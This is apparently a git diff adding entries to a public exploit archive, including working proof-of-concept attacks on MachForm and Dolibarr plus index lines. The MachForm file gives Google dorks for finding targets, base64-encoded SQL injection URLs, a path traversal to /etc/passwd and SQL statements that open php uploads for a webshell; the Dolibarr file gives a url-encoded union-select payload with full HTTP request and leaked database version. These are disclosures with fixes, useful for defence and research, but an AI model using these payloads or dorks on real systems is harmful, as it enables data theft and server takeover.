+2EhlEbqAGQjRmvjJxcKPLwdBvNIvceKEy3/Oqtpc1lCDX6Wc3shqWt5QOaQ3slwKtzCnoiearPo4 +1SP/actIlpNWlY54uFuoSxQhgsmCay+5SNTfuDqqv/GD+e8t1SYTySqJE9r0qkw3vZZpQ9lpX9uz +SCLq9GxnbTxC44TzKxZ20gHZ4EfQLNqRABnZHy78aQTddQlLEnTf1NJcyCcBirK46L349e9XBiR0 +AgkPXpwevT44qfVzkwmZaD0mbCgQb2eTa1Z3F9KjI5+19F6/fHV0XLuxwT/dR4N/ukVo+ISPMKs4 +ho/gIsvOvIaT1dCEqny65/SXFARKxvoylKEMZShDGcpQhjKUoQxlKEMZylCGMpShDGUoQxnKUIYy +lKEMZShDGcpQhjKUoQxlKEMZylCGMvzFwn8BIngbjwCwBAA= \ No newline at end of file diff --git a/exploits/macos/webapps/44803.txt b/exploits/macos/webapps/44803.txt new file mode 100644 index 000000000..e7d8c4d30 --- /dev/null +++ b/exploits/macos/webapps/44803.txt @@ -0,0 +1,17 @@ +# Exploit title: Yosoro 1.0.4 - Remote Code Execution +# Date: 2018-05-29 +# Exploit Author: Carlo Pelliccioni +# Vendor homepage: https://yosoro.coolecho.net/ +# Software link: https://github.com/IceEnd/Yosoro/releases/download/v1.0.4/Yosoro-darwin-x64-1.0.4.zip +# Version: 1.0.4 +# Tested on: MacOS 10.13.4 +# CVE: CVE-2018-11522 +# _ _ _ _ _ ___ _ _ +# | || | __ _ __ | |__| |_ (_)__ __ ___ / __| ___ __ _ _ _ _ (_)| |_ _ _ +# | __ |/ _` |/ _|| / /| _|| |\ V // -_) \__ \/ -_)/ _|| || || '_|| || _|| || | +# |_||_|\__,_|\__||_\_\ \__||_| \_/ \___| |___/\___|\__| \_,_||_| |_| \__| \_, | + +# Remote Code Execution (CVE-2018-11522) +# Payload: + + \ No newline at end of file diff --git a/exploits/php/webapps/44804.txt b/exploits/php/webapps/44804.txt new file mode 100644 index 000000000..cfec1e147 --- /dev/null +++ b/exploits/php/webapps/44804.txt @@ -0,0 +1,105 @@ +Vendor: Appnitro +Product webpage: https://www.machform.com/ +Full-Disclose: https://metalamin.github.io/MachForm-not-0-day-EN/ +Fix: https://www.machform.com/blog-machform-423-security-release/ + +Author: Amine Taouirsa +Twitter: @metalamin + +Google dork examples: +---------------------- +"machform" inurl:"view.php" +"machform" inurl:"embed.php" + +Summary: +--------- +The form creation platform MachForm from Appnitro is subject to SQL +injections that lead to path traversal and arbitrary file upload. + +The application is widely deployed and with some google dorks it’s possible +to find various webpages storing sensitive data as credit card numbers with +corresponding security codes. Also, the arbitrary file upload can let an +attacker get control of the server by uploading a WebShell. + +[1] SQL injection (CVE-2018-6410): +------------------------- + +[1.1] Description: +The software is subject to SQL injections in the ‘download.php’ file. + +[1.2] Parameters and statement: +This SQLi can be found on the parameter ‘q’ which a base64 encoded value +for the following parameters: + + $form_id = $params['form_id']; + $id = $params['id']; + $field_name = $params['el']; + $file_hash = $params['hash']; + + +So the injectable parameters are ‘el’ and ‘form_id’ obtaining error-based, +stacked queries and time-based blind SQL injections. This is due to the +following vulnerable statement: + + $query = "select {$field_name} from `".MF_TABLE_PREFIX."form_{$form_id}` +where id=?"; + + +[1.3] POC +Proof of concept to get the first user mail: + http:// [URL] / [Machform_folder] /download.php?q= +ZWw9IChTRUxFQ1QgMSBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoMHgy +MDIwLChTRUxFQ1QgTUlEKCh1c2VyX2VtYWlsKSwxLDUwKSBGUk9NIGFwX3Vz +ZXJzIE9SREVSIEJZIHVzZXJfaWQgTElNSVQgMCwxKSwweDIwMjAsRkxPT1Io +UkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLkNIQVJBQ1RF +Ul9TRVRTIEdST1VQIEJZIHgpYSkgOyZpZD0xJmhhc2g9MSZmb3JtX2lkPTE= + +Which is the base64 encoding for: + el= (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x2020,(SELECT +MID((user_email),1,50) FROM ap_users ORDER BY user_id LIMIT +0,1),0x2020,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP +BY x)a) ;&id=1&hash=1&form_id=1 + + +[2] Path traversal (CVE-2018-6409): +----------------------------------- + +[2.1] Descrition +download.php’ is used to serve stored files from the forms answers. +Modifying the name of the file to serve on the corresponding ap_form table +leads to a path traversal vulnerability. + +[2.2] POC +First we need to change the name for the element on the form: +update ap_form_58009 set element_4="../../../../../../. +./../../../../../../../../../etc/passwd" where id=1; + +Now in order to be able to download it, we need to access: + http:// [URL] / [Machform_folder] /download.php?q= +ZWw9NCZpZD0xJmhhc2g9NDAyYmEwMjMwZDZmNDRhMmRlNTkwYWMxMTEwN2E0 +NTgmZm9ybV9pZD01ODAwOQo= + +Which is the base64 encoding for; + el=4&id=1&hash=402ba0230d6f44a2de590ac11107a458&form_id=58009 + +Note that hash is the MD5 of the corresponding filename: + md5("../../../../../../../../../../../../../../../../etc/passwd") = +402ba0230d6f44a2de590ac11107a458 + +[3] Bypass file upload filter (CVE-2018-6411): +---------------------------------------------- + +When the form is set to filter a blacklist, it automatically add dangerous +extensions to the filters. +If the filter is set to a whitelist, the dangerous extensions can be +bypassed. + +This can be done directly on the database via SQLi +update ap_form_elements set element_file_type_list="php", +element_file_block_or_allow="a" where form_id=58009 and element_id=4; + +Once uploaded the file can be found and executed in the following URL: +http:// [URL] / [Machform_folder] /data/form_58009/files/ [filename] + +The filename can be found in the database +SELECT element_4 FROM ap_form_58009 WHERE id=1; \ No newline at end of file diff --git a/exploits/php/webapps/44805.txt b/exploits/php/webapps/44805.txt new file mode 100644 index 000000000..6ebe306ea --- /dev/null +++ b/exploits/php/webapps/44805.txt @@ -0,0 +1,204 @@ +# [CVE-2018-10094] Dolibarr SQL Injection vulnerability + + +## Description + +Dolibarr is an "Open Source ERP & CRM for Business" used by many +companies worldwide. + +It is available through [GitHub](https://github.com/Dolibarr/dolibarr) +or as distribution packages (e.g .deb package). + +**Threat** + +The application does not handle user input properly and allows execution +of arbitrary SQL commands on the database. + +**Expectation** + +Prepared queries should be used in order to avoid SQL injection in user +input. + + +## Vulnerability type + +**CVE ID**: CVE-2018-10094 + +**Access Vector**: remote + +**Security Risk**: high + +**Vulnerability**: CWE-89 + +**CVSS Base Score**: 7.5 + +**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + + +## Details + +The database connector escapes quotes with the `real_escape_string()` +wrapper. However it is still possible to perform injection on integer +parameters without quotes. + +```php +mysqli.class.php + + /** + * Escape a string to insert data + * + * @param string $stringtoencode String to escape + * @return string String escaped + */ + function escape($stringtoencode) + { + return $this->db->real_escape_string($stringtoencode); + } +``` + +Additional checks are defined later, which forbit some SQL keywords (e.g +`union`, `create`, `insert`). However, by url encoding the payload, +these checks are bypassed. + +```php +main.inc.php + +/** + * Security: SQL Injection and XSS Injection (scripts) protection +(Filters on GET, POST, PHP_SELF). + * + * @param string $val Value + * @param string $type 1=GET, 0=POST, 2=PHP_SELF + * @return int >0 if there is an injection + */ +function test_sql_and_script_inject($val, $type) +{ + $inj = 0; + // For SQL Injection (only GET are used to be included into bad +escaped SQL requests) + if ($type == 1) + { + $inj += preg_match('/updatexml\(/i', $val); + $inj += preg_match('/delete\s+from/i', $val); + $inj += preg_match('/create\s+table/i', $val); + $inj += preg_match('/insert\s+into/i', $val); + $inj += preg_match('/select\s+from/i', $val); + $inj += preg_match('/into\s+(outfile|dumpfile)/i', $val); + } + if ($type != 2) // Not common, we can check on POST + { + $inj += preg_match('/update.+set.+=/i', $val); + $inj += preg_match('/union.+select/i', $val); + $inj += preg_match('/(\.\.%2f)+/i', $val); + } + // For XSS Injection done by adding javascript with script + // This is all cases a browser consider text is javascript: + // When it found ' + $inj += preg_match('/onerror\s*=/i', $val); // onerror can be +set on img or any html tag like + $inj += preg_match('/onfocus\s*=/i', $val); // onfocus can be +set on input text html tag like + $inj += preg_match('/onload\s*=/i', $val); // onload can be +set on svg tag or other tag like body + $inj += preg_match('/onclick\s*=/i', $val); // onclick can be +set on img text html tag like + $inj += preg_match('/onscroll\s*=/i', $val); // onscroll can be +on textarea + //$inj += preg_match('/on[A-Z][a-z]+\*=/', $val); // To lock event +handlers onAbort(), ... + $inj += preg_match('/:|:|:/i', $val); // +refused string ':' encoded (no reason to have it encoded) to lock +'javascript:...' + //if ($type == 1) + //{ + $inj += preg_match('/javascript:/i', $val); + $inj += preg_match('/vbscript:/i', $val); + //} + // For XSS Injection done by adding javascript closing html tags +like with onmousemove, etc... (closing a src or href tag with not +cleaned param) + if ($type == 1) $inj += preg_match('/"/i', $val); // We +refused " in GET parameters value + if ($type == 2) $inj += preg_match('/[;"]/', $val); // PHP_SELF +is a file system path. It can contains spaces. + return $inj; +} +``` + +## Proof of Concept : retrieving the database name. + +Payload: + +``` +1) union select +0,1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# + +Url-encoded payload: +%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23 +``` + +```http +GET +/dolibarr/adherents/list.php?leftmenu=members&statut=%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23 +HTTP/1.1 +Host: dolibarr.lab:2080 +User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 +Firefox/52.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Cookie: +DOLSESSID_cac4a1e49e4040e845340fe919bd202b=qh3ot46kvm95ph0ddd3ujd7je5 +Connection: close +Upgrade-Insecure-Requests: 1 + +... + + + + 10.1.26-MariaDB-0+deb9u1 + 2 + + 1 + 21 + +``` + + +## Affected versions + +* Version 7.0.0 (last stable version as of March 2018) - previous +versions are probably also vulnerable but not tested + +## Solution + +Update to 7.0.2 +([changelog](https://raw.githubusercontent.com/Dolibarr/dolibarr/develop/ChangeLog)) + +## Timeline (dd/mm/yyyy) + +* 18/03/2018 : Initial discovery +* 17/04/2018 : Contact with the editor +* 17/04/2018 : Editor acknowledges the vulnerability +* 18/04/2018 : Editor announces fixes in version 7.0.2 +* 21/05/2018 : Vulnerability disclosure + +## Credits + +* Issam RABHI (i dot rabhi at sysdream dot com) +* Kevin LOCATI (k dot locati at sysdream dot com) + +-- SYSDREAM Labs GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index d5f29d507..fdefcda33 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -5983,6 +5983,7 @@ id,file,description,date,author,type,platform,port 44758,exploits/windows/dos/44758.html,"Microsoft Edge Chakra - Cross Context Use-After-Free",2018-05-25,"Google Security Research",dos,windows, 44759,exploits/multiple/dos/44759.html,"Skia and Firefox - Integer Overflow in SkTDArray Leading to Out-of-Bounds Write",2018-05-25,"Google Security Research",dos,multiple, 44768,exploits/php/dos/44768.txt,"Symfony 2.7.0 < 4.0.10 - Denial of Service",2018-05-26,"Federico Stange",dos,php, +44802,exploits/linux/dos/44802.py,"Siemens SIMATIC S7-300 CPU - Remote Denial of Service",2018-05-30,t4rkd3vilz,dos,linux, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, @@ -9748,6 +9749,7 @@ id,file,description,date,author,type,platform,port 44787,exploits/windows_x86/local/44787.py,"ALFTP 5.31 - Local Buffer Overflow (SEH Bypass)",2018-05-28,"Gokul Babu",local,windows_x86, 44797,exploits/linux/local/44797.txt,"GNU Barcode 0.99 - Buffer Overflow",2018-05-29,LiquidWorm,local,linux, 44798,exploits/linux/local/44798.txt,"GNU Barcode 0.99 - Memory Leak",2018-05-29,LiquidWorm,local,linux, +44806,exploits/linux/local/44806.txt,"Procps-ng - Multiple Vulnerabilities",2018-05-30,"Qualys Corporation",local,linux, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 @@ -39470,3 +39472,7 @@ id,file,description,date,author,type,platform,port 44796,exploits/java/webapps/44796.txt,"Pivotal Spring Java Framework < 5.0 - Remote Code Execution",2018-05-29,JameelNabbo,webapps,java, 44799,exploits/php/webapps/44799.txt,"Facebook Clone Script 1.0.5 - 'search' SQL Injection",2018-05-29,L0RD,webapps,php, 44800,exploits/php/webapps/44800.txt,"Facebook Clone Script 1.0.5 - Cross-Site Request Forgery",2018-05-29,L0RD,webapps,php, +44801,exploits/java/webapps/44801.txt,"SearchBlox 8.6.6 - Cross-Site Request Forgery",2018-05-30,"Ahmet Gurel",webapps,java, +44803,exploits/macos/webapps/44803.txt,"Yosoro 1.0.4 - Remote Code Execution",2018-05-30,"Carlo Pelliccioni",webapps,macos, +44804,exploits/php/webapps/44804.txt,"MachForm < 4.2.3 - SQL Injection / Path Traversal / Upload Bypass",2018-05-30,"Amine Taouirsa",webapps,php,80 +44805,exploits/php/webapps/44805.txt,"Dolibarr 7.0.0 - SQL Injection",2018-05-30,Sysdream,webapps,php,80